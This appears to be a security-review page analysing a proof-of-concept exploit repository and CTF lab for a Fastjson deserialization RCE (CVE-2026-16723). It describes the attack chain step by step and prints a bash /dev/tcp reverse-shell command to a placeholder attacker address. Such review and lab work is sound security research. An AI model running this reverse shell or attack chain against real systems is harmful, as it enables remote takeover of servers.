EQSTLab/CVE-2026-16723

GitHubRepository PoCExploit

PoC files

9 files

File viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.

GitHub
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

The artifact is a full exploit for CVE-2026-16723, a remote code execution vulnerability in Fastjson 1.2.68–1.2.83. The Python script `attacker/exploit.py` builds a malicious JAR containing Java classes with a static initializer that executes a reverse shell command, serves the JAR via HTTP, constructs a JSON payload that triggers a class-resource lookup in Fastjson's `checkAutoType` to fetch and load the remote JAR, and then listens for the reverse shell connection.

Backdoor review

No backdoor observed in reviewed code

The supplied evidence describes a PoC exploit for CVE-2026-16723, a Fastjson RCE vulnerability. The exploit script (attacker/exploit.py) builds a malicious JAR, serves it via HTTP, and delivers a crafted JSON payload to trigger remote code execution, ultimately providing a reverse shell. All behavior is consistent with the stated exploit goal and no concealed backdoor, unrelated payload, or operator-directed harm beyond the normal exploit was observed.

ClassificationExploit
Model confidence98%
AuthenticationNot required
LanguagesPythonJava bytecode
Target softwareFastjson 1.2.68–1.2.83
Attack typesRemote Code ExecutionDeserialization of Untrusted DataServer-Side Request Forgery
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The artifact contains a complete, self-contained Python script (`attacker/exploit.py`) that builds a malicious JAR, serves it, generates an exploit payload, and listens for a reverse shell. The README explicitly describes it as a PoC and provides step-by-step instructions for achieving remote code execution. This is code intended to exercise a vulnerability, not merely detect or report it.

attacker/exploit.py:1-243README.md:3README.md:49-87

Requirements

  • Target application uses Fastjson 1.2.68–1.2.83 with default configuration (AutoType disabled) and parses attacker-controlled JSON.README.md:8-11README.md:31-33
  • Target application is packaged as a Spring Boot executable fat-JAR.README.md:9README.md:33
  • Attacker can reach the target over the network and the target can make outbound HTTP connections to the attacker's machine.README.md:50-51

Observed behavior

  • Builds a JAR file containing a seed class and multiple payload classes. Each payload class has a static initializer (`<clinit>`) that executes a reverse shell command via `Runtime.getRuntime().exec`.attacker/exploit.py:76-128attacker/exploit.py:199-210
  • Starts an HTTP server to serve the malicious JAR to the target.attacker/exploit.py:151-155attacker/exploit.py:221
  • Constructs a JSON payload containing crafted `@type` values that cause Fastjson to fetch the attacker's JAR via `jar:http://` and then load classes via `jar:file:/proc/self/fd/` to achieve code execution.attacker/exploit.py:213-218
  • Starts a TCP listener to accept the reverse shell connection from the compromised target.attacker/exploit.py:158-184attacker/exploit.py:239
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Reverse Shell
bash -i >& /dev/tcp/<attacker_ip>/<attacker_port> 0>&1The exploit establishes a reverse shell to the attacker's machine, which is the intended outcome of the RCE PoC.attacker/exploit.py:199-201
Payload Generation
JAR file containing classes with static initializer that executes a commandThe script builds a JAR with a class whose <clinit> method runs Runtime.exec() with the reverse shell command, triggered by Fastjson deserialization.attacker/exploit.py:76-128attacker/exploit.py:206-210
Http Server
ThreadingHTTPServer on 0.0.0.0:8000 serving the malicious JARThe script starts an HTTP server to deliver the JAR to the target, a necessary step in the exploit chain.attacker/exploit.py:151-155attacker/exploit.py:221
Ctf Flag
EQST{F4STJS0N_SSRF_T0_RCE}A CTF flag is placed in the Docker container, indicating the lab environment is a capture-the-flag exercise.Dockerfile:19
Review boundaries

What the analysis did not establish

  • The evidence packet includes only 4 of 9 files from the repository; 5 files are omitted with no content provided. The omitted files may contain additional context, but the included files are sufficient for classification.
  • The analysis is based solely on static review of the provided source code; the code was not executed, and its operational reliability is not verified.
  • 5 text files were omitted from the evidence packet and were not reviewed; their content could contain additional behavior.
  • No binary files were present, but the evidence policy flags binary content as metadata-only and not analyzed.
  • The review is limited to the supplied text content and does not include dynamic analysis or execution of the exploit.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Docker lab environments

1
GitHub

Repository root

Created Vuln labCVE-2026-16723Dockerfile

1 Dockerfile

Analysisdeepseek-v4-pro:cloud ·

Environment assessment

A containerized Spring Boot web application (Northwind Store catalog service) using Fastjson 1.2.83, built with Maven and running on Java 17. The environment includes an attacker script that exploits a Fastjson deserialization vulnerability to achieve remote code execution and retrieve a CTF flag.

Dockerfile:1-27README.md:1-100attacker/exploit.py:1-243

Lab assessment

Vulnerability lab

The README explicitly describes a CVE-2026-16723 Fastjson RCE PoC lab, provides a vulnerable target environment, and includes an exploit script. The Dockerfile builds a vulnerable application with Fastjson 1.2.83 and places a CTF flag.

README.md:1-5README.md:40-48Dockerfile:20
Lab shapeDockerfile
ServicesUnknown
Compose manifests0
Dockerfiles1
Evidence & reasoningComponents · CVE assessment · exercise context · review boundaries
Components

Services and files described by the evidence

shop application

vulnerable targetSpring Boot REST API

A Spring Boot web application exposing a product catalog search API at POST /api/products/search. It parses the request body with Fastjson 1.2.83, which is vulnerable to CVE-2026-16723. The application is built from source and runs as user 'shop' inside the container.

Dockerfile:1-27pom.xml:30-33src/main/java/com/example/shop/CatalogController.java:52-58

attacker exploit script

exploit deliverypayload generationreverse shell listener

A Python script (attacker/exploit.py) that builds a malicious JAR containing classes with @JSONType annotations, serves it over HTTP, generates a JSON payload to trigger the Fastjson vulnerability, and listens for a reverse shell connection. It is intended to be run on a separate attacker machine.

attacker/exploit.py:1-243README.md:60-70

CTF flag

exercise objective

A flag file (/flag.txt) created during the Docker build with content 'EQST{F4STJS0N_SSRF_T0_RCE}'. It is readable by the service user and serves as proof of successful exploitation.

Dockerfile:20
CVE assessment

How the supplied evidence relates each vulnerability

CVE-2026-16723

Supported by supplied evidence

The README describes CVE-2026-16723 as a Fastjson 1.x RCE via @JSONType and SSRF. The pom.xml includes Fastjson 1.2.83, the vulnerable version range. The exploit script implements the described attack chain (jar:http SSRF, jar:file:/proc/self/fd seeding, @JSONType class loading, reverse shell).

README.md:5-9pom.xml:30-33attacker/exploit.py:1-243
Exercise context

Requirements and sequence described by the evidence

Prerequisites

  • Target container must be built and running, reachable from the attacker machine on port 8080.README.md:48-50
  • Attacker machine must be on the same Docker bridge network as the target, or otherwise able to receive HTTP requests from the target on the attacker's HTTP port (default 8000) and reverse shell port (default 4444).README.md:56-58attacker/exploit.py:170-172
  • Python 3 must be available on the attacker machine to run exploit.py.attacker/exploit.py:1

Evidence-described exercise path

  1. Confirm the target is up by sending health and search requests.README.md:60-64
  2. Run the exploit script on the attacker machine, specifying the attacker's IP and ports.README.md:66-70
  3. Deliver the generated JSON payload to the target's search endpoint via POST request.README.md:72-78
  4. Receive a reverse shell on the attacker's listener and retrieve the flag from /flag.txt.README.md:80-84
Safety-review evidence

Behaviors behind the stored safety assessment

No harmful behavior observed

All visible behavior is directed at the intended lab target. The exploit script generates a payload that triggers RCE inside the vulnerable container to retrieve a CTF flag. The reverse shell connects back to the attacker machine, which is part of the documented exercise. No evidence of host escape, external exfiltration, persistence, credential theft, or destructive behavior beyond the lab scope.

attacker/exploit.py:1-243README.md:1-100Dockerfile:1-27
Review boundaries

What the analysis did not establish

  • No Docker Compose file is present; the lab relies on manual docker run commands.
  • The exploit script uses a reverse shell to an attacker-controlled address, which is expected for the exercise but could be misused outside the lab context.
  • The packet does not include the actual compiled JAR or any runtime logs, only source code and build configuration.
Model interpretation

This review is limited to the supplied lab evidence packet. It does not assert that the environment runs, reproduces a vulnerability, or is safe to execute. Contract: eip-docker-lab-analysis-v1.

Linked vulnerabilities

1